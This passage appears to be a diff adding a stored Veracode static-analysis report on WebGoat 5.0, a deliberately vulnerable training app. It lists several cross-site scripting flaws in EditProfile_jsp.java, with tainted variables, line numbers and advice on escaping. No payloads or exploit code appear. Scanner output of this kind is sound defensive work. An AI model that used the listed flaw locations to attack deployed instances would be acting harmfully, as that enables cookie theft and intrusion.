+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
